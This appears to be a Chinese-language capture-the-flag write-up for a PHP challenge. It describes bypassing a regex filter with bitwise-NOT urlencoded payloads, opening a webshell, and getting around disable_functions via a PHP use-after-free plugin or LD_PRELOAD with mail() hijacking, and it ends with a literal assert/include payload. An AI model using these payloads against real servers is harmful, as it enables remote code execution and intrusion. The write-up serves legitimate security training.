首先老样子一来就是源码
1 | <?php |
这边需要绕过正则表达式而且有长度限制可以直接使用取反urlencode编码绕过
https://blog.csdn.net/mochu7777777/article/details/104631142 这位大佬介绍了各种绕过方法
先phpinfo看一下禁止了哪些功能
1 | <?php |
payload: ?code=(~%8F%97%8F%96%91%99%90)();
构造shell连接
1 | <?php |
禁用了一堆的功能
可以连接但是只能从readflag里面拿到flag flag是空的
可以用蚂剑的绕过disabled_function插件选择PHP_GC_UAF就可以运行那个readflag (这是非预期解法)
预期解通过Linux提供的LD_preload+mail劫持so来执行系统命令 在启动子进程使新的子进程会加载恶意的so拓展然后
我们可以通过so里面定义同名函数劫持api调用
这边disable_functions 禁用了system
找到了大佬写好的文件 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
可以用先将bupass_disablefunc_x64.so用蚁剑传入
在传入这个脚本
1 | <?php |
最终步骤:
1 | code=$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=include%20%22/tmp/exp.php%22; |